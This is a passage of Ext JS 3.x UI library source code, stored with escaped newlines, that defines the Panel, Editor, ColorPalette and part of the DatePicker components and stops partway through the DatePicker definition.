document.getElementsByTagName(\"html\")[0].className += \" x-viewport\";\n    this.el = Ext.getBody();\n    this.el.setHeight = Ext.emptyFn;\n    this.el.setWidth = Ext.emptyFn;\n    this.el.setSize = Ext.emptyFn;\n    this.el.dom.scroll = \"no\";\n    this.allowDomMove = false;\n    this.autoWidth = true;\n    this.autoHeight = true;\n    Ext.EventManager.onWindowResize(this.fireResize, this);\n    this.renderTo = this.el\n}, fireResize:function (a, b) {\n    this.fireEvent(\"resize\", this, a, b, a, b)\n}});\nExt.reg(\"viewport\", Ext.Viewport);\nExt.Panel = Ext.extend(Ext.Container, {baseCls:\"x-panel\", collapsedCls:\"x-panel-collapsed\", maskDisabled:true, animCollapse:Ext.enableFx, headerAsText:true, buttonAlign:\"right\", collapsed:false, collapseFirst:true, minButtonWidth:75, elements:\"body\", preventBodyReset:false, padding:undefined, resizeEvent:\"bodyresize\", toolTarget:\"header\", collapseEl:\"bwrap\", slideAnchor:\"t\", disabledClass:\"\", deferHeight:true, expandDefaults:{duration:0.25}, collapseDefaults:{duration:0.25}, initComponent:function () {\n    Ext.Panel.superclass.initComponent.call(this);\n    this.addEvents(\"bodyresize\", \"titlechange\", \"iconchange\", \"collapse\", \"expand\", \"beforecollapse\", \"beforeexpand\", \"beforeclose\", \"close\", \"activate\", \"deactivate\");\n    if (this.unstyled) {\n        this.baseCls = \"x-plain\"\n    }\n    this.toolbars = [];\n    if (this.tbar) {\n        this.elements += \",tbar\";\n        this.topToolbar = this.createToolbar(this.tbar);\n        this.tbar = null\n    }\n    if (this.bbar) {\n        this.elements += \",bbar\";\n        this.bottomToolbar = this.createToolbar(this.bbar);\n        this.bbar = null\n    }\n    if (this.header === true) {\n        this.elements += \",header\";\n        this.header = null\n    } else {\n        if (this.headerCfg || (this.title && this.header !== false)) {\n            this.elements += \",header\"\n        }\n    }\n    if (this.footerCfg || this.footer === true) {\n        this.elements += \",footer\";\n        this.footer = null\n    }\n    if (this.buttons) {\n        this.fbar = this.buttons;\n        this.buttons = null\n    }\n    if (this.fbar) {\n        this.createFbar(this.fbar)\n    }\n    if (this.autoLoad) {\n        this.on(\"render\", this.doAutoLoad, this, {delay:10})\n    }\n}, createFbar:function (b) {\n    var a = this.minButtonWidth;\n    this.elements += \",footer\";\n    this.fbar = this.createToolbar(b, {buttonAlign:this.buttonAlign, toolbarCls:\"x-panel-fbar\", enableOverflow:false, defaults:function (d) {\n        return{minWidth:d.minWidth || a}\n    }});\n    this.fbar.items.each(function (d) {\n        d.minWidth = d.minWidth || this.minButtonWidth\n    }, this);\n    this.buttons = this.fbar.items.items\n}, createToolbar:function (b, c) {\n    var a;\n    if (Ext.isArray(b)) {\n        b = {items:b}\n    }\n    a = b.events ? Ext.apply(b, c) : this.createComponent(Ext.apply({}, b, c), \"toolbar\");\n    this.toolbars.push(a);\n    return a\n}, createElement:function (a, c) {\n    if (this[a]) {\n        c.appendChild(this[a].dom);\n        return\n    }\n    if (a === \"bwrap\" || this.elements.indexOf(a) != -1) {\n        if (this[a + \"Cfg\"]) {\n            this[a] = Ext.fly(c).createChild(this[a + \"Cfg\"])\n        } else {\n            var b = document.createElement(\"div\");\n            b.className = this[a + \"Cls\"];\n            this[a] = Ext.get(c.appendChild(b))\n        }\n        if (this[a + \"CssClass\"]) {\n            this[a].addClass(this[a + \"CssClass\"])\n        }\n        if (this[a + \"Style\"]) {\n            this[a].applyStyles(this[a + \"Style\"])\n        }\n    }\n}, onRender:function (g, e) {\n    Ext.Panel.superclass.onRender.call(this, g, e);\n    this.createClasses();\n    var a = this.el, h = a.dom, k, i;\n    if (this.collapsible && !this.hideCollapseTool) {\n        this.tools = this.tools ? this.tools.slice(0) : [];\n        this.tools[this.collapseFirst ? \"unshift\" : \"push\"]({id:\"toggle\", handler:this.toggleCollapse, scope:this})\n    }\n    if (this.tools) {\n        i = this.tools;\n        this.elements += (this.header !== false) ? \",header\" : \"\"\n    }\n    this.tools = {};\n    a.addClass(this.baseCls);\n    if (h.firstChild) {\n        this.header = a.down(\".\" + this.headerCls);\n        this.bwrap = a.down(\".\" + this.bwrapCls);\n        var j = this.bwrap ? this.bwrap : a;\n        this.tbar = j.down(\".\" + this.tbarCls);\n        this.body = j.down(\".\" + this.bodyCls);\n        this.bbar = j.down(\".\" + this.bbarCls);\n        this.footer = j.down(\".\" + this.footerCls);\n        this.fromMarkup = true\n    }\n    if (this.preventBodyReset === true) {\n        a.addClass(\"x-panel-reset\")\n    }\n    if (this.cls) {\n        a.addClass(this.cls)\n    }\n    if (this.buttons) {\n        this.elements += \",footer\"\n    }\n    if (this.frame) {\n        a.insertHtml(\"afterBegin\", String.format(Ext.Element.boxMarkup, this.baseCls));\n        this.createElement(\"header\", h.firstChild.firstChild.firstChild);\n        this.createElement(\"bwrap\", h);\n        k = this.bwrap.dom;\n        var c = h.childNodes[1], b = h.childNodes[2];\n        k.appendChild(c);\n        k.appendChild(b);\n        var l = k.firstChild.firstChild.firstChild;\n        this.createElement(\"tbar\", l);\n        this.createElement(\"body\", l);\n        this.createElement(\"bbar\", l);\n        this.createElement(\"footer\", k.lastChild.firstChild.firstChild);\n        if (!this.footer) {\n            this.bwrap.dom.lastChild.className += \" x-panel-nofooter\"\n        }\n        this.ft = Ext.get(this.bwrap.dom.lastChild);\n        this.mc = Ext.get(l)\n    } else {\n        this.createElement(\"header\", h);\n        this.createElement(\"bwrap\", h);\n        k = this.bwrap.dom;\n        this.createElement(\"tbar\", k);\n        this.createElement(\"body\", k);\n        this.createElement(\"bbar\", k);\n        this.createElement(\"footer\", k);\n        if (!this.header) {\n            this.body.addClass(this.bodyCls + \"-noheader\");\n            if (this.tbar) {\n                this.tbar.addClass(this.tbarCls + \"-noheader\")\n            }\n        }\n    }\n    if (Ext.isDefined(this.padding)) {\n        this.body.setStyle(\"padding\", this.body.addUnits(this.padding))\n    }\n    if (this.border === false) {\n        this.el.addClass(this.baseCls + \"-noborder\");\n        this.body.addClass(this.bodyCls + \"-noborder\");\n        if (this.header) {\n            this.header.addClass(this.headerCls + \"-noborder\")\n        }\n        if (this.footer) {\n            this.footer.addClass(this.footerCls + \"-noborder\")\n        }\n        if (this.tbar) {\n            this.tbar.addClass(this.tbarCls + \"-noborder\")\n        }\n        if (this.bbar) {\n            this.bbar.addClass(this.bbarCls + \"-noborder\")\n        }\n    }\n    if (this.bodyBorder === false) {\n        this.body.addClass(this.bodyCls + \"-noborder\")\n    }\n    this.bwrap.enableDisplayMode(\"block\");\n    if (this.header) {\n        this.header.unselectable();\n        if (this.headerAsText) {\n            this.header.dom.innerHTML = '<span class=\"' + this.headerTextCls + '\">' + this.header.dom.innerHTML + \"</span>\";\n            if (this.iconCls) {\n                this.setIconClass(this.iconCls)\n            }\n        }\n    }\n    if (this.floating) {\n        this.makeFloating(this.floating)\n    }\n    if (this.collapsible && this.titleCollapse && this.header) {\n        this.mon(this.header, \"click\", this.toggleCollapse, this);\n        this.header.setStyle(\"cursor\", \"pointer\")\n    }\n    if (i) {\n        this.addTool.apply(this, i)\n    }\n    if (this.fbar) {\n        this.footer.addClass(\"x-panel-btns\");\n        this.fbar.ownerCt = this;\n        this.fbar.render(this.footer);\n        this.footer.createChild({cls:\"x-clear\"})\n    }\n    if (this.tbar && this.topToolbar) {\n        this.topToolbar.ownerCt = this;\n        this.topToolbar.render(this.tbar)\n    }\n    if (this.bbar && this.bottomToolbar) {\n        this.bottomToolbar.ownerCt = this;\n        this.bottomToolbar.render(this.bbar)\n    }\n}, setIconClass:function (b) {\n    var a = this.iconCls;\n    this.iconCls = b;\n    if (this.rendered && this.header) {\n        if (this.frame) {\n            this.header.addClass(\"x-panel-icon\");\n            this.header.replaceClass(a, this.iconCls)\n        } else {\n            var e = this.header, c = e.child(\"img.x-panel-inline-icon\");\n            if (c) {\n                Ext.fly(c).replaceClass(a, this.iconCls)\n            } else {\n                var d = e.child(\"span.\" + this.headerTextCls);\n                if (d) {\n                    Ext.DomHelper.insertBefore(d.dom, {tag:\"img\", alt:\"\", src:Ext.BLANK_IMAGE_URL, cls:\"x-panel-inline-icon \" + this.iconCls})\n                }\n            }\n        }\n    }\n    this.fireEvent(\"iconchange\", this, b, a)\n}, makeFloating:function (a) {\n    this.floating = true;\n    this.el = new Ext.Layer(Ext.apply({}, a, {shadow:Ext.isDefined(this.shadow) ? this.shadow : \"sides\", shadowOffset:this.shadowOffset, constrain:false, shim:this.shim === false ? false : undefined}), this.el)\n}, getTopToolbar:function () {\n    return this.topToolbar\n}, getBottomToolbar:function () {\n    return this.bottomToolbar\n}, getFooterToolbar:function () {\n    return this.fbar\n}, addButton:function (a, c, b) {\n    if (!this.fbar) {\n        this.createFbar([])\n    }\n    if (c) {\n        if (Ext.isString(a)) {\n            a = {text:a}\n        }\n        a = Ext.apply({handler:c, scope:b}, a)\n    }\n    return this.fbar.add(a)\n}, addTool:function () {\n    if (!this.rendered) {\n        if (!this.tools) {\n            this.tools = []\n        }\n        Ext.each(arguments, function (a) {\n            this.tools.push(a)\n        }, this);\n        return\n    }\n    if (!this[this.toolTarget]) {\n        return\n    }\n    if (!this.toolTemplate) {\n        var h = new Ext.Template('<div class=\"x-tool x-tool-{id}\">&#160;</div>');\n        h.disableFormats = true;\n        h.compile();\n        Ext.Panel.prototype.toolTemplate = h\n    }\n    for (var g = 0, d = arguments, c = d.length; g < c; g++) {\n        var b = d[g];\n        if (!this.tools[b.id]) {\n            var j = \"x-tool-\" + b.id + \"-over\";\n            var e = this.toolTemplate.insertFirst(this[this.toolTarget], b, true);\n            this.tools[b.id] = e;\n            e.enableDisplayMode(\"block\");\n            this.mon(e, \"click\", this.createToolHandler(e, b, j, this));\n            if (b.on) {\n                this.mon(e, b.on)\n            }\n            if (b.hidden) {\n                e.hide()\n            }\n            if (b.qtip) {\n                if (Ext.isObject(b.qtip)) {\n                    Ext.QuickTips.register(Ext.apply({target:e.id}, b.qtip))\n                } else {\n                    e.dom.qtip = b.qtip\n                }\n            }\n            e.addClassOnOver(j)\n        }\n    }\n}, onLayout:function (b, a) {\n    Ext.Panel.superclass.onLayout.apply(this, arguments);\n    if (this.hasLayout && this.toolbars.length > 0) {\n        Ext.each(this.toolbars, function (c) {\n            c.doLayout(undefined, a)\n        });\n        this.syncHeight()\n    }\n}, syncHeight:function () {\n    var b = this.toolbarHeight, c = this.body, a = this.lastSize.height, d;\n    if (this.autoHeight || !Ext.isDefined(a) || a == \"auto\") {\n        return\n    }\n    if (b != this.getToolbarHeight()) {\n        b = Math.max(0, a - this.getFrameHeight());\n        c.setHeight(b);\n        d = c.getSize();\n        this.toolbarHeight = this.getToolbarHeight();\n        this.onBodyResize(d.width, d.height)\n    }\n}, onShow:function () {\n    if (this.floating) {\n        return this.el.show()\n    }\n    Ext.Panel.superclass.onShow.call(this)\n}, onHide:function () {\n    if (this.floating) {\n        return this.el.hide()\n    }\n    Ext.Panel.superclass.onHide.call(this)\n}, createToolHandler:function (c, a, d, b) {\n    return function (g) {\n        c.removeClass(d);\n        if (a.stopEvent !== false) {\n            g.stopEvent()\n        }\n        if (a.handler) {\n            a.handler.call(a.scope || c, g, c, b, a)\n        }\n    }\n}, afterRender:function () {\n    if (this.floating && !this.hidden) {\n        this.el.show()\n    }\n    if (this.title) {\n        this.setTitle(this.title)\n    }\n    Ext.Panel.superclass.afterRender.call(this);\n    if (this.collapsed) {\n        this.collapsed = false;\n        this.collapse(false)\n    }\n    this.initEvents()\n}, getKeyMap:function () {\n    if (!this.keyMap) {\n        this.keyMap = new Ext.KeyMap(this.el, this.keys)\n    }\n    return this.keyMap\n}, initEvents:function () {\n    if (this.keys) {\n        this.getKeyMap()\n    }\n    if (this.draggable) {\n        this.initDraggable()\n    }\n    if (this.toolbars.length > 0) {\n        Ext.each(this.toolbars, function (a) {\n            a.doLayout();\n            a.on({scope:this, afterlayout:this.syncHeight, remove:this.syncHeight})\n        }, this);\n        this.syncHeight()\n    }\n}, initDraggable:function () {\n    this.dd = new Ext.Panel.DD(this, Ext.isBoolean(this.draggable) ? null : this.draggable)\n}, beforeEffect:function (a) {\n    if (this.floating) {\n        this.el.beforeAction()\n    }\n    if (a !== false) {\n        this.el.addClass(\"x-panel-animated\")\n    }\n}, afterEffect:function (a) {\n    this.syncShadow();\n    this.el.removeClass(\"x-panel-animated\")\n}, createEffect:function (c, b, d) {\n    var e = {scope:d, block:true};\n    if (c === true) {\n        e.callback = b;\n        return e\n    } else {\n        if (!c.callback) {\n            e.callback = b\n        } else {\n            e.callback = function () {\n                b.call(d);\n                Ext.callback(c.callback, c.scope)\n            }\n        }\n    }\n    return Ext.applyIf(e, c)\n}, collapse:function (b) {\n    if (this.collapsed || this.el.hasFxBlock() || this.fireEvent(\"beforecollapse\", this, b) === false) {\n        return\n    }\n    var a = b === true || (b !== false && this.animCollapse);\n    this.beforeEffect(a);\n    this.onCollapse(a, b);\n    return this\n}, onCollapse:function (a, b) {\n    if (a) {\n        this[this.collapseEl].slideOut(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterCollapse, this), this.collapseDefaults))\n    } else {\n        this[this.collapseEl].hide(this.hideMode);\n        this.afterCollapse(false)\n    }\n}, afterCollapse:function (a) {\n    this.collapsed = true;\n    this.el.addClass(this.collapsedCls);\n    if (a !== false) {\n        this[this.collapseEl].hide(this.hideMode)\n    }\n    this.afterEffect(a);\n    this.cascade(function (b) {\n        if (b.lastSize) {\n            b.lastSize = {width:undefined, height:undefined}\n        }\n    });\n    this.fireEvent(\"collapse\", this)\n}, expand:function (b) {\n    if (!this.collapsed || this.el.hasFxBlock() || this.fireEvent(\"beforeexpand\", this, b) === false) {\n        return\n    }\n    var a = b === true || (b !== false && this.animCollapse);\n    this.el.removeClass(this.collapsedCls);\n    this.beforeEffect(a);\n    this.onExpand(a, b);\n    return this\n}, onExpand:function (a, b) {\n    if (a) {\n        this[this.collapseEl].slideIn(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterExpand, this), this.expandDefaults))\n    } else {\n        this[this.collapseEl].show(this.hideMode);\n        this.afterExpand(false)\n    }\n}, afterExpand:function (a) {\n    this.collapsed = false;\n    if (a !== false) {\n        this[this.collapseEl].show(this.hideMode)\n    }\n    this.afterEffect(a);\n    if (this.deferLayout) {\n        delete this.deferLayout;\n        this.doLayout(true)\n    }\n    this.fireEvent(\"expand\", this)\n}, toggleCollapse:function (a) {\n    this[this.collapsed ? \"expand\" : \"collapse\"](a);\n    return this\n}, onDisable:function () {\n    if (this.rendered && this.maskDisabled) {\n        this.el.mask()\n    }\n    Ext.Panel.superclass.onDisable.call(this)\n}, onEnable:function () {\n    if (this.rendered && this.maskDisabled) {\n        this.el.unmask()\n    }\n    Ext.Panel.superclass.onEnable.call(this)\n}, onResize:function (g, d, c, e) {\n    var a = g, b = d;\n    if (Ext.isDefined(a) || Ext.isDefined(b)) {\n        if (!this.collapsed) {\n            if (Ext.isNumber(a)) {\n                this.body.setWidth(a = this.adjustBodyWidth(a - this.getFrameWidth()))\n            } else {\n                if (a == \"auto\") {\n                    a = this.body.setWidth(\"auto\").dom.offsetWidth\n                } else {\n                    a = this.body.dom.offsetWidth\n                }\n            }\n            if (this.tbar) {\n                this.tbar.setWidth(a);\n                if (this.topToolbar) {\n                    this.topToolbar.setSize(a)\n                }\n            }\n            if (this.bbar) {\n                this.bbar.setWidth(a);\n                if (this.bottomToolbar) {\n                    this.bottomToolbar.setSize(a);\n                    if (Ext.isIE) {\n                        this.bbar.setStyle(\"position\", \"static\");\n                        this.bbar.setStyle(\"position\", \"\")\n                    }\n                }\n            }\n            if (this.footer) {\n                this.footer.setWidth(a);\n                if (this.fbar) {\n                    this.fbar.setSize(Ext.isIE ? (a - this.footer.getFrameWidth(\"lr\")) : \"auto\")\n                }\n            }\n            if (Ext.isNumber(b)) {\n                b = Math.max(0, b - this.getFrameHeight());\n                this.body.setHeight(b)\n            } else {\n                if (b == \"auto\") {\n                    this.body.setHeight(b)\n                }\n            }\n            if (this.disabled && this.el._mask) {\n                this.el._mask.setSize(this.el.dom.clientWidth, this.el.getHeight())\n            }\n        } else {\n            this.queuedBodySize = {width:a, height:b};\n            if (!this.queuedExpand && this.allowQueuedExpand !== false) {\n                this.queuedExpand = true;\n                this.on(\"expand\", function () {\n                    delete this.queuedExpand;\n                    this.onResize(this.queuedBodySize.width, this.queuedBodySize.height)\n                }, this, {single:true})\n            }\n        }\n        this.onBodyResize(a, b)\n    }\n    this.syncShadow();\n    Ext.Panel.superclass.onResize.call(this, g, d, c, e)\n}, onBodyResize:function (a, b) {\n    this.fireEvent(\"bodyresize\", this, a, b)\n}, getToolbarHeight:function () {\n    var a = 0;\n    if (this.rendered) {\n        Ext.each(this.toolbars, function (b) {\n            a += b.getHeight()\n        }, this)\n    }\n    return a\n}, adjustBodyHeight:function (a) {\n    return a\n}, adjustBodyWidth:function (a) {\n    return a\n}, onPosition:function () {\n    this.syncShadow()\n}, getFrameWidth:function () {\n    var b = this.el.getFrameWidth(\"lr\") + this.bwrap.getFrameWidth(\"lr\");\n    if (this.frame) {\n        var a = this.bwrap.dom.firstChild;\n        b += (Ext.fly(a).getFrameWidth(\"l\") + Ext.fly(a.firstChild).getFrameWidth(\"r\"));\n        b += this.mc.getFrameWidth(\"lr\")\n    }\n    return b\n}, getFrameHeight:function () {\n    var a = this.el.getFrameWidth(\"tb\") + this.bwrap.getFrameWidth(\"tb\");\n    a += (this.tbar ? this.tbar.getHeight() : 0) + (this.bbar ? this.bbar.getHeight() : 0);\n    if (this.frame) {\n        a += this.el.dom.firstChild.offsetHeight + this.ft.dom.offsetHeight + this.mc.getFrameWidth(\"tb\")\n    } else {\n        a += (this.header ? this.header.getHeight() : 0) + (this.footer ? this.footer.getHeight() : 0)\n    }\n    return a\n}, getInnerWidth:function () {\n    return this.getSize().width - this.getFrameWidth()\n}, getInnerHeight:function () {\n    return this.body.getHeight()\n}, syncShadow:function () {\n    if (this.floating) {\n        this.el.sync(true)\n    }\n}, getLayoutTarget:function () {\n    return this.body\n}, getContentTarget:function () {\n    return this.body\n}, setTitle:function (b, a) {\n    this.title = b;\n    if (this.header && this.headerAsText) {\n        this.header.child(\"span\").update(b)\n    }\n    if (a) {\n        this.setIconClass(a)\n    }\n    this.fireEvent(\"titlechange\", this, b);\n    return this\n}, getUpdater:function () {\n    return this.body.getUpdater()\n}, load:function () {\n    var a = this.body.getUpdater();\n    a.update.apply(a, arguments);\n    return this\n}, beforeDestroy:function () {\n    Ext.Panel.superclass.beforeDestroy.call(this);\n    if (this.header) {\n        this.header.removeAllListeners()\n    }\n    if (this.tools) {\n        for (var a in this.tools) {\n            Ext.destroy(this.tools[a])\n        }\n    }\n    if (this.toolbars.length > 0) {\n        Ext.each(this.toolbars, function (b) {\n            b.un(\"afterlayout\", this.syncHeight, this);\n            b.un(\"remove\", this.syncHeight, this)\n        }, this)\n    }\n    if (Ext.isArray(this.buttons)) {\n        while (this.buttons.length) {\n            Ext.destroy(this.buttons[0])\n        }\n    }\n    if (this.rendered) {\n        Ext.destroy(this.ft, this.header, this.footer, this.tbar, this.bbar, this.body, this.mc, this.bwrap, this.dd);\n        if (this.fbar) {\n            Ext.destroy(this.fbar, this.fbar.el)\n        }\n    }\n    Ext.destroy(this.toolbars)\n}, createClasses:function () {\n    this.headerCls = this.baseCls + \"-header\";\n    this.headerTextCls = this.baseCls + \"-header-text\";\n    this.bwrapCls = this.baseCls + \"-bwrap\";\n    this.tbarCls = this.baseCls + \"-tbar\";\n    this.bodyCls = this.baseCls + \"-body\";\n    this.bbarCls = this.baseCls + \"-bbar\";\n    this.footerCls = this.baseCls + \"-footer\"\n}, createGhost:function (a, e, b) {\n    var d = document.createElement(\"div\");\n    d.className = \"x-panel-ghost \" + (a ? a : \"\");\n    if (this.header) {\n        d.appendChild(this.el.dom.firstChild.cloneNode(true))\n    }\n    Ext.fly(d.appendChild(document.createElement(\"ul\"))).setHeight(this.bwrap.getHeight());\n    d.style.width = this.el.dom.offsetWidth + \"px\";\n    if (!b) {\n        this.container.dom.appendChild(d)\n    } else {\n        Ext.getDom(b).appendChild(d)\n    }\n    if (e !== false && this.el.useShim !== false) {\n        var c = new Ext.Layer({shadow:false, useDisplay:true, constrain:false}, d);\n        c.show();\n        return c\n    } else {\n        return new Ext.Element(d)\n    }\n}, doAutoLoad:function () {\n    var a = this.body.getUpdater();\n    if (this.renderer) {\n        a.setRenderer(this.renderer)\n    }\n    a.update(Ext.isObject(this.autoLoad) ? this.autoLoad : {url:this.autoLoad})\n}, getTool:function (a) {\n    return this.tools[a]\n}});\nExt.reg(\"panel\", Ext.Panel);\nExt.Editor = function (b, a) {\n    if (b.field) {\n        this.field = Ext.create(b.field, \"textfield\");\n        a = Ext.apply({}, b);\n        delete a.field\n    } else {\n        this.field = b\n    }\n    Ext.Editor.superclass.constructor.call(this, a)\n};\nExt.extend(Ext.Editor, Ext.Component, {allowBlur:true, value:\"\", alignment:\"c-c?\", offsets:[0, 0], shadow:\"frame\", constrain:false, swallowKeys:true, completeOnEnter:true, cancelOnEsc:true, updateEl:false, initComponent:function () {\n    Ext.Editor.superclass.initComponent.call(this);\n    this.addEvents(\"beforestartedit\", \"startedit\", \"beforecomplete\", \"complete\", \"canceledit\", \"specialkey\")\n}, onRender:function (b, a) {\n    this.el = new Ext.Layer({shadow:this.shadow, cls:\"x-editor\", parentEl:b, shim:this.shim, shadowOffset:this.shadowOffset || 4, id:this.id, constrain:this.constrain});\n    if (this.zIndex) {\n        this.el.setZIndex(this.zIndex)\n    }\n    this.el.setStyle(\"overflow\", Ext.isGecko ? \"auto\" : \"hidden\");\n    if (this.field.msgTarget != \"title\") {\n        this.field.msgTarget = \"qtip\"\n    }\n    this.field.inEditor = true;\n    this.mon(this.field, {scope:this, blur:this.onBlur, specialkey:this.onSpecialKey});\n    if (this.field.grow) {\n        this.mon(this.field, \"autosize\", this.el.sync, this.el, {delay:1})\n    }\n    this.field.render(this.el).show();\n    this.field.getEl().dom.name = \"\";\n    if (this.swallowKeys) {\n        this.field.el.swallowEvent([\"keypress\", \"keydown\"])\n    }\n}, onSpecialKey:function (g, d) {\n    var b = d.getKey(), a = this.completeOnEnter && b == d.ENTER, c = this.cancelOnEsc && b == d.ESC;\n    if (a || c) {\n        d.stopEvent();\n        if (a) {\n            this.completeEdit()\n        } else {\n            this.cancelEdit()\n        }\n        if (g.triggerBlur) {\n            g.triggerBlur()\n        }\n    }\n    this.fireEvent(\"specialkey\", g, d)\n}, startEdit:function (b, c) {\n    if (this.editing) {\n        this.completeEdit()\n    }\n    this.boundEl = Ext.get(b);\n    var a = c !== undefined ? c : this.boundEl.dom.innerHTML;\n    if (!this.rendered) {\n        this.render(this.parentEl || document.body)\n    }\n    if (this.fireEvent(\"beforestartedit\", this, this.boundEl, a) !== false) {\n        this.startValue = a;\n        this.field.reset();\n        this.field.setValue(a);\n        this.realign(true);\n        this.editing = true;\n        this.show()\n    }\n}, doAutoSize:function () {\n    if (this.autoSize) {\n        var b = this.boundEl.getSize(), a = this.field.getSize();\n        switch (this.autoSize) {\n            case\"width\":\n                this.setSize(b.width, a.height);\n                break;\n            case\"height\":\n                this.setSize(a.width, b.height);\n                break;\n            case\"none\":\n                this.setSize(a.width, a.height);\n                break;\n            default:\n                this.setSize(b.width, b.height)\n        }\n    }\n}, setSize:function (a, b) {\n    delete this.field.lastSize;\n    this.field.setSize(a, b);\n    if (this.el) {\n        if (Ext.isGecko2 || Ext.isOpera || (Ext.isIE7 && Ext.isStrict)) {\n            this.el.setSize(a, b)\n        }\n        this.el.sync()\n    }\n}, realign:function (a) {\n    if (a === true) {\n        this.doAutoSize()\n    }\n    this.el.alignTo(this.boundEl, this.alignment, this.offsets)\n}, completeEdit:function (a) {\n    if (!this.editing) {\n        return\n    }\n    if (this.field.assertValue) {\n        this.field.assertValue()\n    }\n    var b = this.getValue();\n    if (!this.field.isValid()) {\n        if (this.revertInvalid !== false) {\n            this.cancelEdit(a)\n        }\n        return\n    }\n    if (String(b) === String(this.startValue) && this.ignoreNoChange) {\n        this.hideEdit(a);\n        return\n    }\n    if (this.fireEvent(\"beforecomplete\", this, b, this.startValue) !== false) {\n        b = this.getValue();\n        if (this.updateEl && this.boundEl) {\n            this.boundEl.update(b)\n        }\n        this.hideEdit(a);\n        this.fireEvent(\"complete\", this, b, this.startValue)\n    }\n}, onShow:function () {\n    this.el.show();\n    if (this.hideEl !== false) {\n        this.boundEl.hide()\n    }\n    this.field.show().focus(false, true);\n    this.fireEvent(\"startedit\", this.boundEl, this.startValue)\n}, cancelEdit:function (a) {\n    if (this.editing) {\n        var b = this.getValue();\n        this.setValue(this.startValue);\n        this.hideEdit(a);\n        this.fireEvent(\"canceledit\", this, b, this.startValue)\n    }\n}, hideEdit:function (a) {\n    if (a !== true) {\n        this.editing = false;\n        this.hide()\n    }\n}, onBlur:function () {\n    if (this.allowBlur === true && this.editing && this.selectSameEditor !== true) {\n        this.completeEdit()\n    }\n}, onHide:function () {\n    if (this.editing) {\n        this.completeEdit();\n        return\n    }\n    this.field.blur();\n    if (this.field.collapse) {\n        this.field.collapse()\n    }\n    this.el.hide();\n    if (this.hideEl !== false) {\n        this.boundEl.show()\n    }\n}, setValue:function (a) {\n    this.field.setValue(a)\n}, getValue:function () {\n    return this.field.getValue()\n}, beforeDestroy:function () {\n    Ext.destroyMembers(this, \"field\");\n    delete this.parentEl;\n    delete this.boundEl\n}});\nExt.reg(\"editor\", Ext.Editor);\nExt.ColorPalette = Ext.extend(Ext.Component, {itemCls:\"x-color-palette\", value:null, clickEvent:\"click\", ctype:\"Ext.ColorPalette\", allowReselect:false, colors:[\"000000\", \"993300\", \"333300\", \"003300\", \"003366\", \"000080\", \"333399\", \"333333\", \"800000\", \"FF6600\", \"808000\", \"008000\", \"008080\", \"0000FF\", \"666699\", \"808080\", \"FF0000\", \"FF9900\", \"99CC00\", \"339966\", \"33CCCC\", \"3366FF\", \"800080\", \"969696\", \"FF00FF\", \"FFCC00\", \"FFFF00\", \"00FF00\", \"00FFFF\", \"00CCFF\", \"993366\", \"C0C0C0\", \"FF99CC\", \"FFCC99\", \"FFFF99\", \"CCFFCC\", \"CCFFFF\", \"99CCFF\", \"CC99FF\", \"FFFFFF\"], initComponent:function () {\n    Ext.ColorPalette.superclass.initComponent.call(this);\n    this.addEvents(\"select\");\n    if (this.handler) {\n        this.on(\"select\", this.handler, this.scope, true)\n    }\n}, onRender:function (b, a) {\n    this.autoEl = {tag:\"div\", cls:this.itemCls};\n    Ext.ColorPalette.superclass.onRender.call(this, b, a);\n    var c = this.tpl || new Ext.XTemplate('<tpl for=\".\"><a href=\"#\" class=\"color-{.}\" hidefocus=\"on\"><em><span style=\"background:#{.}\" unselectable=\"on\">&#160;</span></em></a></tpl>');\n    c.overwrite(this.el, this.colors);\n    this.mon(this.el, this.clickEvent, this.handleClick, this, {delegate:\"a\"});\n    if (this.clickEvent != \"click\") {\n        this.mon(this.el, \"click\", Ext.emptyFn, this, {delegate:\"a\", preventDefault:true})\n    }\n}, afterRender:function () {\n    Ext.ColorPalette.superclass.afterRender.call(this);\n    if (this.value) {\n        var a = this.value;\n        this.value = null;\n        this.select(a, true)\n    }\n}, handleClick:function (b, a) {\n    b.preventDefault();\n    if (!this.disabled) {\n        var d = a.className.match(/(?:^|\\s)color-(.{6})(?:\\s|$)/)[1];\n        this.select(d.toUpperCase())\n    }\n}, select:function (b, a) {\n    b = b.replace(\"#\", \"\");\n    if (b != this.value || this.allowReselect) {\n        var c = this.el;\n        if (this.value) {\n            c.child(\"a.color-\" + this.value).removeClass(\"x-color-palette-sel\")\n        }\n        c.child(\"a.color-\" + b).addClass(\"x-color-palette-sel\");\n        this.value = b;\n        if (a !== true) {\n            this.fireEvent(\"select\", this, b)\n        }\n    }\n}});\nExt.reg(\"colorpalette\", Ext.ColorPalette);\nExt.DatePicker = Ext.extend(Ext.BoxComponent, {todayText:\"Today\", okText:\"&#160;OK&#160;\", cancelText:\"Cancel\", todayTip:\"{0} (Spacebar)\", minText:\"This date is before the minimum date\", maxText:\"This date is after the maximum date\", format:\"m/d/y\", disabledDaysText:\"Disabled\", disabledDatesText:\"Disabled\", monthNames:Date.monthNames, dayNames:Date.dayNames, nextText:\"Next Month (Control+Right)\", prevText:\"Previous Month (Control+Left)\", monthYearText:\"Choose a month (Control+Up/Down to move years)\", startDay:0, showToday:true, focusOnSelect:true, initHour:12, initComponent:function () {\n    Ext.DatePicker.superclass.initComponent.call(this);\n    this.value = this.value ? this.value.clearTime(true) : new Date().clearTime();\n    this.addEvents(\"select\");\n    if (this.handler) {\n        this.on(\"select\", this.handler, this.scope || this)\n    }\n    this.initDisabledDays()\n}, initDisabledDays:function () {\n    if (!this.disabledDatesRE && this.disabledDates) {\n        var b = this.disabledDates, a = b.length - 1, c = \"(?:\";\n        Ext.each(b, function (g, e) {\n            c += Ext.isDate(g) ? \"^\" + Ext.escapeRe(g.dateFormat(this.format)) + \"$\" : b[e];\n            if (e != a) {\n                c += \"|\"\n            }\n        }, this);\n        this.disabledDatesRE = new RegExp(c + \")\")\n    }\n}, setDisabledDates:function (a) {\n    if (Ext.isArray(a)) {\n        this.disabledDates = a;\n        this.disabledDatesRE = null\n    } else {\n        this.disabledDatesRE = a\n    }\n    this.initDisabledDays();\n    this.update(this.value, true)\n}, setDisabledDays:function (a) {\n    this.disabledDays = a;\n    this.update(this.value, true)\n}, setMinDate:function (a) {\n    this.minDate = a;\n    this.update(this.value, true)\n}, setMaxDate:function (a) {\n    this.maxDate = a;\n    this.update(this.value, true)\n}, setValue:function (a) {\n    this.value = a.clearTime(true);\n    this.update(this.value)\n}, getValue:function () {\n    return this.value\n}, focus:function () {\n    